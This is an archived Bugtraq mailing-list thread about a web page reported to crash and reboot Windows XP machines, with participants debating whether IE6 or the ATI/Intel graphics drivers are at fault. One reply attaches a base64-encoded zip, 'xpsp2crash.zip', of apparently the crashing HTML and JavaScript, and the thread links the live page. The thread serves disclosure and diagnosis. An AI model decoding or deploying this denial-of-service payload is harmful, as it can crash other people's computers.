Dumb IE6/XP denial of service found on the web

[8ux1fpd02@sneakemail.com]

Wow, a simple big jpeg completely crashes (and reboots) Windows XP SP2 with all the latest patches when viewed in IE6.

-> DON'T GO with Internet Explorer if you don't want to crash: http://www.geocities.com/teh_kids/index.html (no problems whatsoever in Firefox or Opera).

Is this a known unpatched vulnerability?

[Mario Contestabile]

This is a multi-part message in MIME format.

--Boundary_(ID_n0XQ11DytHkGTh4t1kqbjw)
Content-type: text/plain; charset=us-ascii
Content-transfer-encoding: 7BIT

Nice, seems to crash the intel graphics controller.

Here's a zip for your perusal.



Mario Contestabile
Developer , RadialPoint
marioc@computer.org
Profile: https://www.linkedin.com/e/fps/3704298/

-----Original Message-----
From: 8ux1fpd02@sneakemail.com [mailto:8ux1fpd02@sneakemail.com]
Sent: December 31, 2005 1:13 PM
To: bugtraq@securityfocus.com
Subject: Dumb IE6/XP denial of service found on the web

Wow, a simple big jpeg completely crashes (and reboots) Windows XP SP2 with
all the latest patches when viewed in IE6.

-> DON'T GO with Internet Explorer if you don't want to crash:
http://www.geocities.com/teh_kids/index.html (no problems whatsoever in
Firefox or Opera).

Is this a known unpatched vulnerability?

--Boundary_(ID_n0XQ11DytHkGTh4t1kqbjw)
Content-type: application/x-zip-compressed; name=xpsp2crash.zip
Content-transfer-encoding: base64
Content-disposition: attachment; filename=xpsp2crash.zip

UEsDBBQAAgAIAHFHJTTCN+UqSQgAAGgaAAAFAAAAdDQuanPNWP tT20gS/vn4K+ZUdSCXH7EeNuYc
ckWAfdwuyWWXzSXndW3JemARSwJZBsPC/75fz2ik0QMuqc1VHVVdjHu6e2a+6dfoxklZxg5Z7N+y
Eyfz9c50Jxus/eyj76R6NrjIRx3WZcYQkzdQuBvbucpRmjp3+g5je0d7vb3XoGP QCegU9A3oW9B3
ez0S+R7Df4J+AP0IOgO9Ab0F/UuIvMPwJ9DPoHPQL6D3oH+DPgiRjxj+B+SAFiAX5IF8UCBELjB c
gkLQJegTaAWKQLEQSTC8Al2DUtAalIE2oBshcovhFnQHugcNQQ bIBFlCxMZwBBqD9kET0AFoAPpt
DxIALNjEbhYmMfNM4KZ7HfY7JlIA2DemGAVJynRCNQRrOMW/lwTwYOXHF9kSv7tdocJYGDDdY4eH
ND8L55ItrIXT/Mci9Z1P4sfjjqDUzzZpzNLpzmO5nyz5iP3EwkpSudAOqV/y/Tyxw7jcH+seMkvu
hXzpzMmWgyiMdatXyLE+CzvT4hQZncIoD8C2tD7OxHbZ8MOQ/wWBPBFLZpfd7pyJg+tb9uoVMzvz
J6dfvmR2R7FkDVtk9/p7zzAfmb9a++Vezc/e652Y7Rpf4yyth6FY1O9I0X5a8Y4UzYqi25n/9xN/
pVPe5/Pm10Zh++dRIMV7Uhw/qXivagRSjIcTY2VAJZWACtIkUkKKfEcv/P9vtP+/In4wKdXjzWo1
5Vb/ZPjZ0ju3BmREookH7tJJjzI97OSBtzVbJrtGMW21TZvFtN02bc npZIVpu4xwEqcUR8dNVv3+
VBgYTh9LEashYtVEyKpyPOWadBxV3O0Dxqbwg2lDiqYUB+zkjv TAV+dO16ZjqdfPdcaks7UbyUFs
0Prfb7Cxpvlla9ZKQc1zV856ee6vM10YvYEt16Xif5xEV0nsx9 l7P11DVNd+PzH3j09ej0/7R6fj
k75hHH/TPxi/nvRt2x6NrJFN53jUekxzpW7oaXwXfBmY1rRpHh83FBKaJo9CXn 4jFoLYzWB9tQoz
Xetp+SHaQiGXb6uXYo1QhN3OX8TyCBdtoMmLKHi5GSS8Vry4XA Wz5XHioV3aoaWyZbieafZkqNEt
8LIuWOOhYJkKy7Q5yypZ++MJZ9klazIWUiOFtS9sjUvWwViw9k uWMcztTxSeYQu5A4Vn5lszhgrT
zgUN5QzGyBoLplkB4FYAwEoAxnYDgEkTgIlp1QEoNm2rmx6ZdQ gMc9LAwJAYqyAcmMM6CObQnkgQ
lFO4SRyfxi4dxSvzNu+ytAjcqHDO3BP44ZRoFKIrJ64Lmq2CSR CswtivC1uKcGWC386juuPI2epL
oR7hOG820cJPB2ffv/nt/dGPv5zWSkYIT1X7xyWV9FcsKmOEjCyf8vuoClZ0pTs9tsh7WCH ioLdb
VMRSf51D6vaYgmp2d+UnAXNn3pzH/Sb2/ABgeHU0SKIBiDurH3UuS6Q6efShnCSoeL03pkV+iZul
VkyEpbUCvy3h55ZYUUvDM+22RAvcwTpJMx3oKOYuW8y1V3A1YZ GUQ4UWoA6nCnMh2zGFT5g6sLVQ
mlO+bvEWqLwG5HYfq1DHs8v5vOFl2X01KnJxHW7cZQdDtDEvmE UPwopnfvLfGXlKCIyigTHliHpK
2cENAUTuFyg1l86Ncxo7i5XvFb0MezjMC+OEpHPHDCxe6IqiGQ S0GVQ6HuuBXZ2leVF7Ruyw4Alr
wbjJ2m+yJk3WQZNlDJu8vNwp1ZXYdJuRZA8iJ3OX+gv9V6/b+XXQ8u9FRxbLiIKGeka2u8si2Vgi
qYwkZGIXOv17YNHMmIt2YlpMAtFoZs0lll4lFgKjh7sC4d0W2K ARaAzaB01ABz0ywvfjQlM8ID3+
+5puW7s2DjW4B64zwfNPE2U795xro+krpuw3AIlX+wohuFv5nn T9cKV71JKchxEEXhhAuRCjZ6e4
dHKH8lJKZ5B87iqmXfhl4StCgE8bY+ms8MylH14sM8koUxvtNe 8BemwrfMyqO59s6BR7t6GHqG81
d9sw99C0J1XLAJWg3KPZehsEax+O1mkPBkvsx1T2QwXQ53dyjv Scq2FdpTCK7TznLO0+YXKfMJ/x
iWpHwfvN5FPov7574+CS49I7KCfGMKMdavLOHXpxFGk0Z64pdy buJkLbiaORsUGIMrN9G+hOEUlr
JE1ctfoMy/X9Z/S1KbradddZFXZ8VNJhkXxzc3X19WaxztIwvtDXPeZ3GnXtM/Q6jfQMqJBpI7cs
rpFLqYDO0nowR8anilTkfjE4ioq2y/GwFDhelnDUhaeK8GNVobaUbD3cJnQ1BMwvR8D8v0SgolB6
9OPnw4GoP/O90BEBpHtJ5IRxj10hd0J2exWmfhlNhFQj2rR3WpFPvYQn9MCB myo8s87jUoUvShSI
Ky9CnIzLyfZAlKN8iSzd+BIQbtHMLZrSoiwDsmIUq5iNVcyyM8 t3W5hXI056g/xgc20q0BZfNGTX
JaW2bUK8BZuZvJ9d0P+HB+agworflvKNVt1cY3tl381fCgQNDJ GQNMCvTHvHcylmkQl3+dCcymk8
YnW67n8wuBq/eC5Mgw77O9PkIzoXFR4ihMWYi4thm4JwIqEgxmuuIcaDLPn27P xnAU+nol9LbNzJ
2xLaT0mSnfDla21BYUBsTn4WGJT+Sk29VysF1BN4s7iPS+nSk5 8Oh5/GXDqQ+CX7KPrUImONl3vu
MDI3Q9Qq7WTVh7ATZseurnz1kw8dt/P8O0eRrHbAh1UtxYPlDrnjKJvwkjMXhbrYwxaJxRAdTfn4
kzvtULqgliHZAEeuSseCUpcr0ZMJqyJfFV1WjkctzdRurce0F1 DKinrFTZOBPwBQSwMEFAACAAgA
GUglNNX30MhVAQAAewIAAAUAAAB0NS5qc3WSy26DMBBF93yF60 UEQiKPZalTqU1addFUSqWusnHM
EByBbdmOSRPl32sgT1XZ4cth5gweRzX6ZSaTAtIg3whmuRRoBd Jxw20YBfsAIeehXeofeI7CIx35
I0Ia7EaL5tWO4J4mOAbDqIIwk2xTgbCJhhy0Bh110C7GveUFE9 TxFbVSJ1SpGa0gxgjHN+kPaOOd
2u9roqg28FZKasO7VGNZozEaJYMI7VvPrrHxjQ3TACKpeWaLGG/PQQF8Vdj0ipbk2kSV1OZSVx3h
CB4mI9wdmn7/BkEPBOEZ2HZOfPI41WYXEyZLqSegbNFVOyAoDdznFd9C2fIdfm W8vjFeU0engi5L
yML2v9xUdmSYDNr0fC9+qNg10fnyas0tlCLETx+f7+jlaz6Zzs kAfc9fyQIX1qrHfr9dlMRvDOOW
g/HzVKeM58849pUXeIxbg+PukGEaHII/UEsDBBQAAgAIADFHJTQnCK6R0wEAAHkDAAAGAAAAdC5o
dG1slVLBbtswDL0X6D9wOhTbwXacJem6xQ2KLWgytNjQFttxkC 3GVupYhkgnzaXfPtppk9y6GYJJ
PfGRFPXGBa/Ky9MTLiyBLHKwaLJHNNDUEEAHU2EZ2jjQlQENz/1h7xGWdT5OvVBPT4w1YGGFFVtX
CUczCMNj6hwTPNV9oLo/AedqClvOK29sVzmQzxJFLIfWhJJUwcYaLhJ1sfsUFGjzgg+AcM fRS9/j
d0EAC1eWbmOrHDJnELQx0n+6BUK/Rh/Cz5vp1f0U7qa3P35NIQheebXHDM1/8DoW4xNDilIRcqzQ
a36LFbl0iRmLU+otyv0jY9fyp1pXreFtiWIrR5m3dRvHOu2gPa DrukRxdgCUusobnWOivuu1vu9A
tRtlwVx/jqKGQhuHW5lwmLlVu937NlplssIlqaMS/5w5R5dZtkhdsiX9Idf4DFt83X8r6VKS7kB1
2RIsWX7/4cuBcRjCXhwvdbvYcINp4Yjl0cKtLpzrmtgd5XYxaSiOP44Go4 vBQJSjS5ENIRNrJgWp
8wZ9onp7jcUHdcXq+AlEIfPba7i/+3p876OS7WtPKDkf9XrxcPDpjJND4bNF0lCwGZ4ruLp5SGL4
Pf/2MBM7m86vZwJI+r9QSwMEFAACAAgAU0clNOaXlKraAAAAlwEAA AUAAAB0Mi5qc62Nu2rDMBSG
dz3FQUMsUZCTQpbGNpSugWzdhaLYJ1QXJEVOKXn3SnVbsnQrnO Hcvv/LMoD00MOM9uhmYWXGUSYX
hPT+VYeIzork9m7W4UVGzfiO5MJgQaQXBdLXw4lRE1HTcsMTsP v9Ehsph6GHNaxWhfzpGEN4gC2H
rka9aTumiXP4IABVkReFmmR4Tt+vu3KrilxDtrA8Axyduhhtk5 gDJs2aLqrQFKBBnyAG1dMpJf/U
tpcocCPe0YxCOVPH3x5bo0ptxDnSoWvvEobmy/uvmsc/NTdyI+QTUEsDBBQAAgAIAGtHJTRKotKY
UAAAAFEAAAAFAAAAdDMuanNLyU8uzU3NK9ErL8osSdVQtykuSM xTKC6pzEm1VUpKzUgsy8wvsiot
ytFQTklNSyzNKVFOzskEanBOLCjWVFLITLFNTraz0Qdps1PXtO YCAFBLAQIUABQAAgAIAHFHJTTC
N+UqSQgAAGgaAAAFAAAAAAAAAAEAIAAAAAAAAAB0NC5qc1BLAQ IUABQAAgAIABlIJTTV99DIVQEA
AHsCAAAFAAAAAAAAAAEAIAAAAGwIAAB0NS5qc1BLAQIUABQAAg AIADFHJTQnCK6R0wEAAHkDAAAG
AAAAAAAAAAEAIAAAAOQJAAB0Lmh0bWxQSwECFAAUAAIACABTRy U05peUqtoAAACXAQAABQAAAAAA
AAABACAAAADbCwAAdDIuanNQSwECFAAUAAIACABrRyU0SqLSmF AAAABRAAAABQAAAAAAAAABACAA
AADYDAAAdDMuanNQSwUGAAAAAAUABQAAAQAASw0AAAAA

--Boundary_(ID_n0XQ11DytHkGTh4t1kqbjw)--

[Kim Christensen]

On a side note, this managed to b0rk my Firefox aswell.

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051111
Firefox/1.5

--
Kim Christensen
kim.christensen@gmail.com

On 31 Dec 2005 18:13:12 -0000, 8ux1fpd02@sneakemail.com
<8ux1fpd02@sneakemail.com> wrote:
> Wow, a simple big jpeg completely crashes (and reboots) Windows XP SP2 wi=
th all the latest patches when viewed in IE6.
>
> -> DON'T GO with Internet Explorer if you don't want to crash: http://www=
..geocities.com/teh_kids/index.html (no problems whatsoever in Firefox or Op=
era).
>
> Is this a known unpatched vulnerability?
>

[Francois Labreque]

8ux1fpd02@sneakemail.com a =E9crit sur 2005-12-31 13:13:12 :

> Wow, a simple big jpeg completely crashes (and reboots) Windows XP=20
> SP2 with all the latest patches when viewed in IE6.
>=20
> -> DON'T GO with Internet Explorer if you don't want to crash: http:
> //www.geocities.com/teh=5Fkids/index.html (no problems whatsoever in=20
> Firefox or Opera).
>=20
> Is this a known unpatched vulnerability?

Crashes my machine with firefox here. It's not a Dumb IE6/XP exploit,=20
it's a dumb ATI Windows driver exploit. Please send your hate to the=20
rightful recipient.

[rebornrebel@hotmail.co.uk]

It's known - BID 10913